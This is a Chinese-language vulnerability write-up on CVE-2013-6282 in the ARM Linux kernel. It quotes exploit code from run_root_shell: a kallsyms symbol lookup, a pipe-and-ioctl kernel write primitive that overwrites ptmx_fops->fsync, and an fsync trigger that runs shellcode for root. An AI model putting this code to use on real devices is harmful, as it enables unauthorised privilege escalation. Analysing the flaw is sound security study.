//weibo: @少仲
0x0 漏洞信息
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6282
0x1 漏洞描述
ARM v6/v7架構的Linux內核中的get_user/put_user接口沒有驗證目標地址,由於硬件架構的更迭,get_user/put_user最初用於實現和控制域切換的功能被棄用了,導致任何使用該API的內核代碼都可能存在安全隱患.讓任意應用來讀寫內核內存,造成權限泄漏.
0x2 代碼分析
//摘自run_root_shell
void *kallsyms_get_symbol_address(constchar *symbol_name)
{
FILE *fp;
char function[BUFSIZ];
char symbol;
void *address;
intret;
fp= fopen("/proc/kallsyms", "r");
if(!fp)
{
printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
return 0;
}
while(!feof(fp))
{
ret = fscanf(fp, "%p %c %s", &address, &symbol,function);
if (ret != 3)
{
break;
}
if (!strcmp(function, symbol_name))
{
fclose(fp);
return address;
}
}
fclose(fp);
return NULL;
}
//通過kallsyms得到結構ptmx
bool setup_ptmx_fops_address(void)
{
if(ptmx_fops)
{
return true;
}
ptmx_fops = (void *)device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops));
if(!ptmx_fops && kallsyms_exist())
{
ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
}
return !!ptmx_fops;
}
//得到ptmx_fops_fsync地址,即ptmx+0x38
bool setup_ptmx_fops_fsync_address(void)
{
if(!ptmx_fops)
{
setup_ptmx_fops_address();
if (!ptmx_fops)
{
return false;
}
}
ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;
return true;
}
0x3 如何利用
(1).得到ptmx_fops_fsync地址
(2).用0xXXXXXXXX覆蓋掉ptmx_fops->fsync的指針
(3).在0xXXXXXXXX地址部署一段shellcode
(4).調用fsync(/dev/ptmx)觸發內核調用shellcode
//替換fsyc函數
if(pipe_write_value_at_address(ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback ))
//pipe_write_value_at_address函數底層通過put_user函數改寫內核地址內容
static unsigned intpipe_write_value_at_address(unsigned long address, unsigned int value)
{
char data[4];
int pipefd[2];
int i;
*(long *)&data = value;
if (pipe(pipefd) == -1) {
perror("pipe");
return 1;
}
for (i = 0; i < (int) sizeof(data) ; i++) {
char buf[256];
buf[0] = 0;
if (data[i]) {
if (write(pipefd[1], buf, data[i]) != data[i]) {
printf("error inwrite().\n");
break;
}
}
if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
perror("ioctl");
break;
}
if (data[i]) {
if (read(pipefd[0], buf, sizeof buf) != data[i]) {
printf("error inread().\n");
break;
}
}
}
close(pipefd[0]);
close(pipefd[1]);
return (i == sizeof (data));
}
//調用fsync觸發
int fd = open(PTMX_DEVICE, O_WRONLY);
if(!fd) return 1;
fsync(fd);
close(fd);
0x4 Poc
//參考run_root_shell裏的get_user和put_user部分
//ptrace->put_user->任意寫
//setsockopt->get_user->任意讀